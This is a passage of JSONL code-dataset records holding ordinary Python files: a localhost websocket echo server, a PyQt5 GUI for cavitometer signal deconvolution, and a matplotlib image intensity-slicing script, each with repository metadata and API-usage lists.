"computer.computerAI", "line_number": 75, "usage_type": "name"}, {"api_name": "board.board.get_number_of_valid_locations", "line_number": 78, "usage_type": "call"}, {"api_name": "board.board", "line_number": 78, "usage_type": "name"}, {"api_name": "game.game", "line_number": 82, "usage_type": "name"}, {"api_name": "game.game.Game", "line_number": 82, "usage_type": "call"}, {"api_name": "board.board", "line_number": 83, "usage_type": "name"}, {"api_name": "board.board.Board", "line_number": 83, "usage_type": "call"}, {"api_name": "board.board.create_board", "line_number": 84, "usage_type": "call"}, {"api_name": "board.board", "line_number": 84, "usage_type": "name"}, {"api_name": "game.game.winning_move", "line_number": 89, "usage_type": "call"}, {"api_name": "game.game", "line_number": 89, "usage_type": "name"}, {"api_name": "board.board.create_board", "line_number": 91, "usage_type": "call"}, {"api_name": "board.board", "line_number": 91, "usage_type": "name"}, {"api_name": "game.game.winning_move", "line_number": 96, "usage_type": "call"}, {"api_name": "game.game", "line_number": 96, "usage_type": "name"}, {"api_name": "board.board.create_board", "line_number": 98, "usage_type": "call"}, {"api_name": "board.board", "line_number": 98, "usage_type": "name"}, {"api_name": "game.game.winning_move", "line_number": 103, "usage_type": "call"}, {"api_name": "game.game", "line_number": 103, "usage_type": "name"}, {"api_name": "board.board.create_board", "line_number": 105, "usage_type": "call"}, {"api_name": "board.board", "line_number": 105, "usage_type": "name"}, {"api_name": "game.game.winning_move", "line_number": 110, "usage_type": "call"}, {"api_name": "game.game", "line_number": 110, "usage_type": "name"}, {"api_name": "settings.settings", "line_number": 113, "usage_type": "name"}, {"api_name": "settings.settings.Settings", "line_number": 113, "usage_type": "call"}, {"api_name": "settings.settings.get_difficulty", "line_number": 115, "usage_type": "call"}, {"api_name": "settings.settings", "line_number": 115, "usage_type": "name"}]}
{"seq_id": "27600671778", "text": "# pip install websockets\nimport asyncio\nimport websockets\n\nasync def echo(websocket, path):\n    message = await websocket.recv()\n    print(f\"Received from client: {message}\")\n    # 여기서는 클라이언트로부터 받은 메시지를 그대로 다시 보냅니다.\n    await websocket.send(message)\n\nstart_server = websockets.serve(echo, \"localhost\", 8765)\n\nasyncio.get_event_loop().run_until_complete(start_server)\nasyncio.get_event_loop().run_forever()\n", "repo_name": "DevSmile-SJCU/network", "sub_path": "11.WebSocket/simpleServer.py", "file_name": "simpleServer.py", "file_ext": "py", "file_size_in_byte": 460, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "websockets.serve", "line_number": 11, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 13, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "18620090805", "text": "# -*- coding: utf-8 -*-\r\n\"\"\" GUI module.\r\n\r\nThis module contains the codes for a simple GUI.\r\n\r\n\"\"\"\r\n\r\nfrom PyQt5.QtCore import Qt\r\n\r\nfrom PyQt5.QtWidgets import (\r\n    QApplication,\r\n    QCheckBox,\r\n    QComboBox,\r\n    QDialog,\r\n    QFileDialog,\r\n    QGridLayout,\r\n    QGroupBox,\r\n    QHBoxLayout,\r\n    QLabel,\r\n    QLineEdit,\r\n    QListWidget,\r\n    QMainWindow,\r\n    QMessageBox,\r\n    QPushButton,\r\n    QStyleFactory,\r\n    QRadioButton,\r\n    QTabWidget,\r\n    QTableWidget,\r\n    QTableWidgetItem,\r\n    QVBoxLayout,\r\n    QWidget,\r\n)\r\n\r\nfrom numpy import max, mean, square, sqrt\r\n\r\nfrom cavitometer_deconvolve.hardware import sensitivities\r\nfrom cavitometer_deconvolve.utils.read import read_signal\r\nfrom cavitometer_deconvolve.math import deconvolve\r\n\r\nfrom cavitometer_deconvolve.gui.plots import ResultsWindow\r\n\r\n\r\nclass CavitometerDeconvolveGUI(QMainWindow):\r\n    def __init__(self, parent=None):\r\n        \"\"\"Initialize the widgets.\"\"\"\r\n        super(CavitometerDeconvolveGUI, self).__init__(parent)\r\n\r\n        # Set the palette\r\n        self.originalPalette = QApplication.palette()\r\n\r\n        # Top horizontal box layout: choose window theme and disable sections\r\n        styleComboBox = QComboBox()\r\n        styleComboBox.addItems(QStyleFactory.keys())\r\n\r\n        styleLabel = QLabel(\"&Style:\")\r\n        styleLabel.setBuddy(styleComboBox)\r\n\r\n        self.useStylePaletteCheckBox = QCheckBox(\"&Use style's standard palette\")\r\n        self.useStylePaletteCheckBox.setChecked(True)\r\n\r\n        disableWidgetsCheckBox = QCheckBox(\"&Disable widgets\")\r\n\r\n        # Create sections\r\n        self.createFileIOGroupBox()  # Choose data and probe files\r\n        self.createTableWidget()  # View data and probe dataframes in tabs\r\n        self.createResultsWidget()  # View results\r\n\r\n        styleComboBox.activated[str].connect(self.changeStyle)\r\n        self.useStylePaletteCheckBox.toggled.connect(self.changePalette)\r\n        disableWidgetsCheckBox.toggled.connect(self.fileIOGroupBox.setDisabled)\r\n        disableWidgetsCheckBox.toggled.connect(self.tableGroupBox.setDisabled)\r\n        disableWidgetsCheckBox.toggled.connect(self.resultsGroupBox.setDisabled)\r\n\r\n        # The top horizontal box layout\r\n        topLayout = QHBoxLayout()\r\n        topLayout.addWidget(styleLabel)\r\n        topLayout.addWidget(styleComboBox)\r\n        topLayout.addStretch(1)\r\n        topLayout.addWidget(self.useStylePaletteCheckBox)\r\n        topLayout.addWidget(disableWidgetsCheckBox)\r\n\r\n        # Main widgets\r\n        mainLayout = QGridLayout()\r\n        mainLayout.addLayout(topLayout, 0, 0, 1, 2)\r\n        mainLayout.addWidget(self.fileIOGroupBox, 1, 0, 1, 2)\r\n        mainLayout.addWidget(self.tableGroupBox, 2, 0)\r\n        mainLayout.addWidget(self.resultsGroupBox, 2, 1)\r\n        mainLayout.setRowStretch(2, 1)\r\n\r\n        widget = QWidget()\r\n        widget.setLayout(mainLayout)\r\n        self.setCentralWidget(widget)\r\n\r\n        self.setWindowTitle(\"Cavitometer-Deconvolve\")\r\n\r\n    def changeStyle(self, styleName):\r\n        \"\"\"Change the window appearance.\"\"\"\r\n        QApplication.setStyle(QStyleFactory.create(styleName))\r\n        self.changePalette()\r\n\r\n    def changePalette(self):\r\n        if self.useStylePaletteCheckBox.isChecked():\r\n            QApplication.setPalette(QApplication.style().standardPalette())\r\n        else:\r\n            QApplication.setPalette(self.originalPalette)\r\n\r\n    def createFileIOGroupBox(self):\r\n        \"\"\"Choose voltage and probe files, channels and hit deconvolve.\"\"\"\r\n        self.fileIOGroupBox = QGroupBox(\"Select voltage and probe files\")\r\n        self.fileIOGroupBox.setCheckable(True)\r\n        self.fileIOGroupBox.setChecked(True)\r\n\r\n        # Select the data file and show in line edit\r\n        self.dataFileLineEdit = QLineEdit(\"\")\r\n        self.dataFileLineEdit.setEnabled(False)\r\n\r\n        selectDataFilePushButton = QPushButton(\"Select &voltage file\")\r\n        selectDataFilePushButton.setDefault(True)\r\n        selectDataFilePushButton.clicked.connect(self.openDataFile)\r\n\r\n        # Select probe sensitivities\r\n        self.probeLineEdit = QLineEdit(\"\")\r\n        self.probeLineEdit.setEnabled(False)\r\n\r\n        selectProbePushButton = QPushButton(\"Select &probe sensitivities file\")\r\n        selectProbePushButton.setDefault(True)\r\n        selectProbePushButton.clicked.connect(self.openProbeFile)\r\n\r\n        # Select channel in voltage file\r\n        self.channelGroupBox = QGroupBox(\"Channel selection\")\r\n        channelLayout = QHBoxLayout()\r\n        self.channelListWidget = QListWidget()\r\n        channelLayout.addWidget(self.channelListWidget)\r\n        self.channelGroupBox.setLayout(channelLayout)\r\n        self.channelGroupBox.setEnabled(False)\r\n        self.selectedChannel = 1  # Default is 1\r\n        self.channelListWidget.itemClicked.connect(self.setChannel)\r\n\r\n        # Select probe position\r\n        self.probeRadioGroupBox = QGroupBox(\"Probe position\")\r\n        probeRadioLayout = QHBoxLayout()\r\n        self.probe_position = 0\r\n        self.b0 = QRadioButton(\"&Vertical\")\r\n        self.b0.setChecked(True)\r\n        self.b0.toggled.connect(lambda: self.selectProbePosition(self.b0))\r\n        probeRadioLayout.addWidget(self.b0)\r\n\r\n        self.b1 = QRadioButton(\"45 &degrees\")\r\n        self.b1.setChecked(False)\r\n        self.b1.toggled.connect(lambda: self.selectProbePosition(self.b1))\r\n        probeRadioLayout.addWidget(self.b1)\r\n\r\n        self.probeRadioGroupBox.setLayout(probeRadioLayout)\r\n        self.probeRadioGroupBox.setEnabled(False)\r\n\r\n        # Variables to enable or disable relevant sections\r\n        self.valid_data_file = False  # Enable or disable channel selection\r\n        self.valid_probe_file = False  # Enable or disable probe position selection\r\n        self.can_deconvolve = False  # Enable or disable deconvolve push button\r\n\r\n        # Button to run deconvolution\r\n        self.deconvolvePushButton = QPushButton(\"&Deconvolve\")\r\n        self.deconvolvePushButton.setDefault(True)\r\n        self.deconvolvePushButton.setEnabled(self.can_deconvolve)\r\n        self.deconvolvePushButton.clicked.connect(self.deconvolve)\r\n\r\n        layout = QGridLayout()\r\n        layout.addWidget(self.dataFileLineEdit, 1, 1)\r\n        layout.addWidget(selectDataFilePushButton, 1, 2, 1, 2)\r\n        layout.addWidget(self.probeLineEdit, 2, 1)\r\n        layout.addWidget(selectProbePushButton, 2, 2, 1, 2)\r\n        layout.addWidget(self.channelGroupBox, 3, 1)\r\n        layout.addWidget(self.probeRadioGroupBox, 3, 2)\r\n        layout.addWidget(self.deconvolvePushButton, 3, 3)\r\n        self.fileIOGroupBox.setLayout(layout)\r\n\r\n    def invalidDataFile(self):\r\n        \"\"\"If data file is invalid, disable relevant sections.\"\"\"\r\n        self.valid_data_file = False\r\n        self.dataTableWidget.setRowCount(0)\r\n        self.dataTableWidget.setColumnCount(0)\r\n        self.dataFileLineEdit.setText(\"\")\r\n        self.channelListWidget.clear()\r\n        self.enableOrDisableDeconvolveButton()\r\n\r\n    def openDataFile(self):\r\n        \"\"\"Open filename using QT dialog.\"\"\"\r\n        # Reset fields first\r\n        self.invalidDataFile()\r\n\r\n        dataFileSelector = QFileDialog()\r\n        filenames = dataFileSelector.getOpenFileName(\r\n            self,\r\n            \"Open data file\",\r\n            \"\",\r\n            \"Data files (*.csv *.xls *.xlsx)\",\r\n        )\r\n\r\n        \"\"\"If dialog closed without selecting a file\"\"\"\r\n        if not filenames[0]:\r\n            return None\r\n\r\n        # Show path in the line edit box\r\n        self.voltageFilename = filenames[0]\r\n        self.dataFileLineEdit.setText(self.voltageFilename)\r\n\r\n        # Read the data\r\n        try:\r\n            columns, self.units, self.raw_data = read_signal(self.voltageFilename)\r\n        except Exception as e:\r\n            invalidDataFile = QMessageBox()\r\n            invalidDataFile.setText(f\"Error: {e}\")\r\n            invalidDataFile.exec()\r\n            return None\r\n\r\n        self.channelListWidget.addItems(columns[1:])\r\n\r\n        self.populateDataTableWidget(columns)\r\n\r\n        self.valid_data_file = True\r\n        self.enableOrDisableDeconvolveButton()\r\n\r\n    def populateDataTableWidget(self, columns):\r\n        # Display in the bottom left table widget\r\n        self.dataTableWidget.setColumnCount(self.raw_data.shape[1])\r\n        self.dataTableWidget.setRowCount(self.raw_data.shape[0] + 2)\r\n        \r\n        for column, columnvalue in enumerate(columns):\r\n            # Display header in first row\r\n            self.dataTableWidget.setItem(0, column, QTableWidgetItem(columnvalue))\r\n            self.dataTableWidget.setItem(\r\n                1, column, QTableWidgetItem(self.units[column])\r\n            )\r\n            # Display the rest of the data in all the rows below\r\n            for row, value in enumerate(self.raw_data[:, column]):\r\n                self.item = QTableWidgetItem(str(value))\r\n                # row + 1 because header is at row 0\r\n                self.dataTableWidget.setItem(row + 2, column, self.item)\r\n                self.item.setFlags(Qt.ItemIsEnabled)\r\n\r\n    def setChannel(self):\r\n        \"\"\"Update selected channel flag when list clicked.\"\"\"\r\n        self.selectedChannel = self.channelListWidget.currentRow() + 1\r\n\r\n    def invalidProbeFile(self):\r\n        \"\"\"If probe file is invalid, disable relevant sections.\"\"\"\r\n        self.valid_probe_file = False\r\n        self.probeTableWidget.setRowCount(0)\r\n        self.probeTableWidget.setColumnCount(0)\r\n        self.probeLineEdit.setText(\"\")\r\n        self.enableOrDisableDeconvolveButton()\r\n\r\n    def openProbeFile(self):\r\n        self.invalidProbeFile()\r\n\r\n        # Open filename using QT dialog\r\n        dataFileSelector = QFileDialog()\r\n        filenames = dataFileSelector.getOpenFileName(\r\n            self,\r\n            \"Open data file\",\r\n            \"\",\r\n            \"Data files (*.csv *.xls *.xlsx)\",\r\n        )\r\n\r\n        # If dialog is cancelled.\r\n        if not filenames[0]:\r\n            return None\r\n\r\n        # Show path in the line edit box\r\n        try:\r\n            self.probe = sensitivities.Probe(filenames[0])\r\n        except Exception as e:\r\n            invalidProbeFile = QMessageBox()\r\n            invalidProbeFile.setText(f\"Error: {e}\")\r\n            invalidProbeFile.exec()\r\n            return None\r\n        self.probeLineEdit.setText(filenames[0])\r\n\r\n        # Display in the bottom left table widget\r\n        self.probeTableWidget.setColumnCount(2)\r\n        self.probeTableWidget.setRowCount(self.probe.frequencies.shape[0] + 1)\r\n\r\n        # Display frequencies\r\n        self.probeTableWidget.setItem(0, 0, QTableWidgetItem(\"Frequency (kHz)\"))\r\n        # Display the rest of the data in all the rows below\r\n        for row, value in enumerate(self.probe.frequencies):\r\n            self.item = QTableWidgetItem(str(value))\r\n            # row + 1 because header is at row 0\r\n            self.probeTableWidget.setItem(row + 1, 0, self.item)\r\n            self.item.setFlags(Qt.ItemIsEnabled)\r\n\r\n        # Display sensitivities\r\n        self.updateSensitivitiesColumn()\r\n        self.valid_probe_file = True\r\n        self.enableOrDisableDeconvolveButton()\r\n\r\n    def enableOrDisableDeconvolveButton(self):\r\n        \"\"\"Enable or disable group boxes.\"\"\"\r\n        self.can_deconvolve = self.valid_data_file and self.valid_probe_file\r\n        self.channelGroupBox.setEnabled(self.valid_data_file)\r\n        self.probeRadioGroupBox.setEnabled(self.valid_probe_file)\r\n        self.deconvolvePushButton.setEnabled(self.can_deconvolve)\r\n\r\n    def selectProbePosition(self, b):\r\n        if b.text() == \"&Vertical\":\r\n            if b.isChecked():\r\n                self.probe_position = 0\r\n\r\n        if b.text() == \"45 &degrees\":\r\n            if b.isChecked():\r\n                self.probe_position = 1\r\n\r\n        # Update sensitivities\r\n        self.updateSensitivitiesColumn()\r\n\r\n    def updateSensitivitiesColumn(self):\r\n        \"\"\"Repopulate sensitivities column when radio button is toggled.\"\"\"\r\n        self.probeTableWidget.setItem(0, 1, QTableWidgetItem(\"Sensitivities (dB)\"))\r\n        # Display the rest of the data in all the rows below\r\n        for row, value in enumerate(self.probe.get_sensitivities(self.probe_position)):\r\n            self.item = QTableWidgetItem(str(value))\r\n            # row + 1 because header is at row 0\r\n            self.probeTableWidget.setItem(row + 1, 1, self.item)\r\n            self.item.setFlags(Qt.ItemIsEnabled)\r\n\r\n    def createTableWidget(self):\r\n        \"\"\"Tabs for data and probe.\"\"\"\r\n        self.tableGroupBox = QGroupBox(\"Files reader\")\r\n        self.tableGroupBox.setCheckable(True)\r\n        self.tableGroupBox.setChecked(True)\r\n\r\n        fileTabWidget = QTabWidget()\r\n\r\n        dataTab = QWidget()\r\n        self.dataTableWidget = QTableWidget()\r\n        dataHBox = QHBoxLayout()\r\n        dataHBox.addWidget(self.dataTableWidget)\r\n        dataTab.setLayout(dataHBox)\r\n\r\n        probeTab = QWidget()\r\n        self.probeTableWidget = QTableWidget()\r\n        probeHBox = QHBoxLayout()\r\n        probeHBox.addWidget(self.probeTableWidget)\r\n        probeTab.setLayout(probeHBox)\r\n\r\n        fileTabWidget.addTab(dataTab, \"Voltage file\")\r\n        fileTabWidget.addTab(probeTab, \"Probe file\")\r\n\r\n        layout = QVBoxLayout()\r\n        layout.addWidget(fileTabWidget)\r\n\r\n        self.tableGroupBox.setLayout(layout)\r\n\r\n    def createResultsWidget(self):\r\n        self.resultsGroupBox = QGroupBox(\"Results\")\r\n        self.resultsGroupBox.setCheckable(True)\r\n        self.resultsGroupBox.setChecked(True)\r\n\r\n        resultsTabWidget = QTabWidget()\r\n\r\n        resultsTab = QWidget()\r\n        self.resultsTableWidget = QTableWidget()\r\n        resultsTableHBox = QHBoxLayout()\r\n        resultsTableHBox.addWidget(self.resultsTableWidget)\r\n        resultsTab.setLayout(resultsTableHBox)\r\n\r\n        statisticsTab = QWidget()\r\n        self.statisticsGroupBox = QGroupBox(\"\")\r\n        self.initializeStatisticsGroupBox()\r\n        statisticsTableHBox = QHBoxLayout()\r\n        statisticsTableHBox.addWidget(self.statisticsGroupBox)\r\n        statisticsTab.setLayout(statisticsTableHBox)\r\n\r\n        resultsTabWidget.addTab(resultsTab, \"Pressure table\")\r\n        resultsTabWidget.addTab(statisticsTab, \"Pressure statistics\")\r\n\r\n        layout = QVBoxLayout()\r\n        layout.addWidget(resultsTabWidget)\r\n\r\n        self.resultsGroupBox.setLayout(layout)\r\n\r\n    def initializeStatisticsGroupBox(self):\r\n        maxPressureLabel = QLabel(\"Maximum Pressure (kPa):\")\r\n        self.maxPressureLineEdit = QLineEdit(\"\")\r\n        rmsPressureLabel = QLabel(\"RMS Pressure (kPa):\")\r\n        self.rmsPressureLineEdit = QLineEdit(\"\")\r\n\r\n        layout = QGridLayout()\r\n        layout.addWidget(maxPressureLabel, 1, 1)\r\n        layout.addWidget(self.maxPressureLineEdit, 1, 2)\r\n        layout.addWidget(rmsPressureLabel, 2, 1)\r\n        layout.addWidget(self.rmsPressureLineEdit, 2, 2)\r\n        self.statisticsGroupBox.setLayout(layout)\r\n\r\n    def populateStatisticsGroupBox(self, max_p, rms_p):\r\n        self.maxPressureLineEdit.setText(f\"{max_p:.1f}\")\r\n        self.rmsPressureLineEdit.setText(f\"{rms_p:.1f}\")\r\n\r\n    def deconvolve(self):\r\n        self.time = self.raw_data[:, 0].T\r\n        self.signal = self.raw_data[:, self.selectedChannel].T\r\n        self.freq, self.fourier, self.pressure = deconvolve.deconvolution(\r\n            self.time,\r\n            self.signal,\r\n            self.units[:2],\r\n            self.probe,\r\n            self.probe_position,\r\n            None,\r\n        )\r\n\r\n        # Display in the bottom left table widget\r\n        self.resultsTableWidget.setColumnCount(2)\r\n        self.resultsTableWidget.setRowCount(len(self.time) + 1)\r\n\r\n        for column, columnvalue in enumerate(\r\n            [f\"Time {self.units[0]}\", \"Pressure (Pa)\"]\r\n        ):\r\n            # Display header in first row\r\n            self.resultsTableWidget.setItem(0, column, QTableWidgetItem(columnvalue))\r\n            # Display the rest of the data in all the rows below\r\n            for row, value in enumerate(self.time):\r\n                if column == 0:\r\n                    value = self.time[row]\r\n                else:\r\n                    value = self.pressure.real[row]\r\n                self.item = QTableWidgetItem(str(value))\r\n                # row + 1 because header is at row 0\r\n                self.resultsTableWidget.setItem(row + 1, column, self.item)\r\n                self.item.setFlags(Qt.ItemIsEnabled)\r\n\r\n        self.populateStatisticsGroupBox(\r\n            max(self.pressure.real) / 1e3,\r\n            sqrt(mean(square(self.pressure.real))) / 1e3,\r\n        )\r\n\r\n        ResultsWindow(self)\r\n", "repo_name": "blebon/cavitometer-deconvolve", "sub_path": "cavitometer_deconvolve/gui/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 16546, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 43, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.palette", "line_number": 49, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 49, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QStyleFactory.keys", "line_number": 53, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QStyleFactory", "line_number": 53, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QCheckBox", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QCheckBox", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 75, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 83, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 90, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.setStyle", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 98, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QStyleFactory.create", "line_number": 98, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QStyleFactory", "line_number": 98, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.setPalette", "line_number": 103, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 103, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication.style", "line_number": 103, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication.setPalette", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 105, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 114, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 117, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 122, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 125, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 130, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 131, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QListWidget", "line_number": 132, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 140, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 143, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QRadioButton", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 162, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 167, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 191, "usage_type": "call"}, {"api_name": "cavitometer_deconvolve.utils.read.read_signal", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 211, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 230, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 232, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 236, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 239, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 239, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 257, "usage_type": "call"}, {"api_name": "cavitometer_deconvolve.hardware.sensitivities.Probe", "line_number": 271, "usage_type": "call"}, {"api_name": "cavitometer_deconvolve.hardware.sensitivities", "line_number": 271, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 273, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 284, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 287, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 290, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 290, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 318, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 321, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 324, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 324, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 328, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTabWidget", "line_number": 332, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 334, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidget", "line_number": 335, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 336, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 340, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidget", "line_number": 341, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 342, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 349, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 355, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTabWidget", "line_number": 359, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 361, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidget", "line_number": 362, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 363, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 367, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGroupBox", "line_number": 368, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 370, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 377, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 383, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 384, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 385, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 386, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 388, "usage_type": "call"}, {"api_name": "cavitometer_deconvolve.math.deconvolve.deconvolution", "line_number": 402, "usage_type": "call"}, {"api_name": "cavitometer_deconvolve.math.deconvolve", "line_number": 402, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 419, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 426, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 429, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 429, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 432, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 433, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 433, "usage_type": "call"}, {"api_name": "cavitometer_deconvolve.gui.plots.ResultsWindow", "line_number": 436, "usage_type": "call"}]}
{"seq_id": "18488756767", "text": "import matplotlib.pyplot as plt   \nimport numpy as np\n\ngrayscale_trans = np.array([0.2126, 0.7152, 0.0722])\nimage = plt.imread('c_276004-l_1-k_onkolytiska630.jpg')@grayscale_trans\nimage = image.astype('uint8')\n\nR = np.zeros(image.shape)\nG = np.zeros(image.shape)\nB = np.zeros(image.shape)\n\nrow, col = image.shape\nimage_sliced = np.zeros((row, col, 3))\n\n\n# Slice intensities\nidx = np.where(image < 50)\nvalues = image[idx]\nR[idx] = values\n\nidx = np.where((image >= 50) & (image < 100))\nvalues = image[idx]\nG[idx] = values\nB[idx] = values\n\nidx = np.where((image >= 100))\nvalues = image[idx]\nR[idx] = values\nB[idx] = values\n\n\n# Enter colors matricies\nimage_sliced[:,:,0] = R\nimage_sliced[:,:,1] = G\nimage_sliced[:,:,2] = B\n\n\n\n# Plot\nfig, ax = plt.subplots(1, 3)\nax[0].imshow(image, cmap = 'gray')\nax[1].imshow(image, cmap = 'inferno')\nax[2].imshow(image_sliced)\nplt.show()", "repo_name": "MartinRovang/UniversityPhysics", "sub_path": "Digital Image Processing/colorslice/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 4, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 5, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}]}
